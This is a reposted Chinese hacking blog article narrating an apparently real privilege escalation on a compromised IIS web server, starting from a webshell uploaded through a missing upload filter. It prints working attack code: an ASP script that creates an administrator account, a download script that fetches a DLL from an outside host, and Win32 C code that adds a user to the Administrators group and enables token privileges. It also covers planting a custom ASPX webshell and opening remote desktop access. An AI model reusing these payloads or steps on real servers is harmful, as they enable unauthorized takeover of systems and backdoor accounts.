Ψ小川Ψ dě Blog

Home » » 【转】小记一次曲折的提权

【转】小记一次曲折的提权

文章作者:tr0j4n
Blog:http://hi.baidu.com/tr0j4n
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

今天上百度空间,听说某人拿到一个WebShell,提权却无从着手。拿到asp的shell的方法居然是直接上传,网站没做好上传过滤造成的,首先汗一个。虽然管理员把IIS来宾权限封得很死,但是最后还是被我突破了,都这么多年了,国内的安全做得还是不够。1年多不玩黑了,今天就来重操旧业下帮他一把吧。

先来看webshell具备哪些权限,我们已知哪些信息:
1、 用户账户看不到(如图1)
20090408_fd5548c7cca760fe0dc6T9iyN61nsp6N

联想:一般Webshell通过WSH来查看用户,用户不能显示,很大可能是Wscript.Shell没了。
2、 CDF盘无法浏览,用户被限制在这个网站的目录中(如图2)
20090408_a4e80af57b0a776d0ad212q7VnLbnN9b
2009-4-8 14:52
联想:想靠服务器重启执行exe是不现实的
3、 PCanywhere不存在(如图3)
20090408_c2d7fd6779d75c2f2bdbPSYAiESK1sVx
2009-4-8 14:52
联想:可能装有其他的工具
4、 Serv-U无法提权,提权webshell显示成功,其实并未成功(如图4、5)
20090408_3f9b567d629b1223a786OovEtg2IJMtJ
2009-4-8 14:52
20090408_e1537543319ef82549b4hKCBeLeumv16
2009-4-8 14:52
联想:Serv-U权限被封死
5、 端口开放情况如下:(如图6)
127.0.0.1:21…….开放
127.0.0.1:23…….关闭
127.0.0.1:25…….开放
127.0.0.1:80…….开放
127.0.0.1:110…….关闭
127.0.0.1:135…….开放
127.0.0.1:139…….关闭
127.0.0.1:445…….关闭
127.0.0.1:1433…….关闭
127.0.0.1:3389…….开放
127.0.0.1:43958…….关闭
远程桌面能上。
20090408_1b78b928a71842d68b8coHoKM8JIWOlH
2009-4-8 14:52
联想:只有135开放,RPC也许有1%的几率可行。
6、 CMD不能执行,Wscript.Shell同样没有权限(如图7)
20090408_e5ab28f2174f56cdf2a7feowYXUPzhQd
7、 可以新建文本,不能删除文件
8、 不能上传文件(如图8、9)
20090408_6f1717ac09130501c623R3yaT5ZXTfTm
2009-4-8 14:52
20090408_d5a9bd782cd6313fd336vFmXdrr6U5t0
2009-4-8 14:52
最后再看下WebShell为我们分析的权限组件,但是这个只能作为参考,很多时间都不准的,比如本文就说明了这个相当不准(如图10)。
20090408_21189830cf03d842d965Cal5xn7UnQRl
2009-4-8 18:49

根据以上的信息,我们来制定对策。1-4没用任何利用的价值,远程桌面的3389可以使用,这是个很好的信息,至少我们不用花费心思去找远程桌面的端口。我们可以看到第7点,玩黑多的人或是对vbs了解的人会立马想到用vbs。接着配合第6点,不能执行cmd.exe,不代表不能执行别的PE程序,Wscript能不能执行shell以外的对象,这个要接下来进行探索。

我先试试白手起家的vbs添加用户方法,新建一个adduser.asp文件,代码如下(如图11):
20090408_079c0d36a4f0f68658aavbVS0c8ci9Ui
2009-4-8 14:52
<%
Set onlineServer=GetObject(“WinNT://127.0.0.1”)
Set newuser=onlineServer.Create(“user”,”tr0j4n”)
NewUser.SetPassword “biweilun”
NewUser.FullName=”tr0j4n test”
NewUser.Description=”tr0j4n’s example”
NewUser.Setinfo
Set oDomain=GetObject(“WinNT://”&”127.0.0.1”)
Set oGroup=oDomain.GetObject(“Group”,”administrators”)
oGroup.Add (“winnt://tr0j4n”)
Response.Write “用户tr0j4n添加成功”
Response.Write(“<BR>”)
Response.Write “用户tr0j4n已经被添加到管理员组”
Set oDomain=Nothing
Set oGroup=Nothing
%>

这段代码作用是用vbs的本机对象添加用户,这是一种不是技巧的技巧,经常被使用,如果你不知道,说明你还没有入门。如果执行成功,将会在服务器上添加一个用户名是tr0j4n,密码为biweilun的高级管理员。

保存路径在图中你也能看的出来吧,在网站的home目录下。在URL里输入:http://www.xxxxxx.com/home/adduser.asp,呵呵,出错了,说明权限不够,看来管理员确实是把各种权限封得是很死的(如图12)。
20090408_a99f416a1fa40bb9c916ADCybJN0PK66
2009-4-8 14:52

接着,我们看到图10中说Microsoft.XMLHTTP对象可用,所以我又在home目录下创建了一个download.asp,用其来在服务器上下载我的一个dll,这个dll有什么用呢?里面封装了一个添加用户的函数,这个函数是基于Win32 API的。
Cmd.exe不能用,所以我希望用rundll32.exe来执行我的dll中的函数。

Download.asp代码如下:
<%
Set xPost = CreateObject(“Microsoft.XMLHTTP”)
xPost.Open “GET”,”http://3469.99rr.net/adduser.dll”,0
xPost.Send()
Set sGet = CreateObject(“ADODB.Stream”)
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile “adduser.dll”,2
%>
(如图13)
20090408_1bd364a31c3d6cfb3e22VfMiLrSRO5DT
2009-4-8 14:52
保存后在浏览器中输入URL:http://www.xxxxxx.com/home/dowload.asp。看到了没?出错了,还是权限不够。(如图14)
20090408_3afbb81f0bb0945261f9eqwPcYUyKCKB
2009-4-8 14:52

这个时候,我想到了我前段时间做的一个项目,用.Net做一个WebAdmin.aspx。灵光一闪,这个就成为了入侵的关键转折点了,因为我想它的IIS可能也支持解析ASPX。那就拖个我自己写的半成品Webshell上去吧。很好,新建文本,代码复制粘贴,保存,一个新鲜的tr0j4n.aspx就到了服务器的网站目录下了(如图15)。密码输进去,登陆成功(如图16)。
20090408_e5673709382cf161cf10CO9RJevQpDjR
2009-4-8 14:52
20090408_c828bc99d2b206bb144eQJfeEEmmglXC
2009-4-8 14:52

还记得当时.Net刚流行的时候,很多人说Aspx的权限高,能作很多Asp不能做的事情,实际上也不完全对,因为Aspx调用的组件不同,许多网管因为自己的站点是Asp就忽略了.Net下的安全了。Aspx的解析和Asp完全不同,过程模型是处理一个请求所需的操作序列的过程,这是一个基于w3wp.exe的独立工作进程,这是在IIS 6下,IIS 5.x下是aspnet_wp.exe。这个Win32进程通过托管的ISAPI扩展,直接接受控件。工作进程装入的是CLR公共语言运行库。在这个过程中还有些中间件的MSIL之类的我在这里就不科普了,接着这次提权,不好意思跑题了。

用我的tr0j4n.aspx进行上传文件,很好,我的AddUser.dll上去了,在asp的shell里面看看(如图17、18),
20090408_20458354039ebca06170XD9vJF0ey7af
2009-4-8 14:52
20090408_16227f9a4d00ffb9766dGRmpfx32Tfs1
2009-4-8 14:52
不在tr0j4n.aspx里面看的愿因是这个文件显示的模块我还没有编写处理好,是列表显示的,不是那种直观的方式。接下来我想用rundll32.exe来调这个dll(如图19),发现不成功,失败了,用户没有能加得上去,远程桌面没法连接。到这里,我怀疑我的这个工具的局限性了,难道说IIS来宾不能执行系统盘中的任意PE?那我不妨自己再把dll里面的代码移植到exe中再上传到网站目录下去执行,这样也许行呢?
20090408_d8f54cb78a4e416e4a44nQCcduWiTP3O
2009-4-8 14:52

关键添加用户代码如下:
VOID AddUser()
{
USER_INFO_1 ui;
DWORD dwError=0;
ui.usri1_name=L”tr0j4n”;
ui.usri1_password=L”biweilun”;
ui.usri1_priv=USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags=UF_SCRIPT;
ui.usri1_script_path = NULL;

NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);
/*
if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
MessageBoxA(NULL,”Good”,”Fuck”,MB_OK);
}
else
MessageBoxA(NULL,”Bad”,”Fuck”,MB_OK);
*/
wchar_t szAccountName[20]={0};
const wchar_t *name;
name=(const wchar_t *)L”tr0j4n”;
wcscpy(szAccountName,name);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;

NetLocalGroupAddMembers(NULL,L”Administrators”,3,(LPBYTE)&account,1);
/*
if( NetLocalGroupAddMembers(NULL,L”Administrators”,3,(LPBYTE)&account,1) == NERR_Success )
{
//添加成功
MessageBoxA(NULL,”Add to Administrators Group Success.”,”Fuck”,MB_OK);
}
else
{
//添加失败
MessageBoxA(NULL,”Add to Administrators Group Fail.”,”Fuck”,MB_OK);
}
*/
}
//下面是提权函数。
BOOL EnableDebugPrivilge(LPCSTR lpName, BOOL fEnable)
{
HANDLE hObject;
LUID Luid;
TOKEN_PRIVILEGES NewStatus;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hObject))
return FALSE;
if (LookupPrivilegeValue(NULL, lpName, &Luid))
{
NewStatus.Privileges[0].Luid = Luid;
NewStatus.PrivilegeCount = 1;
NewStatus.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hObject, FALSE, &NewStatus, 0, 0, 0);

CloseHandle(hObject);
return TRUE;
}

return FALSE;
}

这个exe里面的代码和AddUser.dll里面的代码基本一样,只不过是dll需要接口调用才行罢了,这段代码使用Win32 API添加用户,基本没什么依赖的东西,一般不会失败。功能是添加一个用户名为tr0j4n,密码为biweilun的高级管理员。

自己重新写了这个tr0j4n.exe,上传到网站根目录下,接着去“Command”执行,果然,在网页下面的进度条缓慢地爬了一会后,我的tr0j4n.exe执行成功,远程桌面也连上了,本次提权就这么结束了。(如图20)
20090408_0bd5b5f7003dad9efe004cE9qSjWsfP1
2009-4-8 14:52

入侵提权靠的是经验,知识,运气和观察分析,无他,唯手熟尔。事后反思了下,这次的成功运气确实占了很大比重,应该是管理员的疏忽造成了目录权限的泄漏。各位不要根据截图来社工是哪个站了,写这篇文章的时候我已经在帮站长补洞了,本文旨在给新手一些思路罢了。

No comment yet.

添加评论

? razz sad evil ! smile oops grin eek shock ??? cool lol mad twisted roll wink idea arrow neutral cry mrgreen mrgreen

6 + 1 =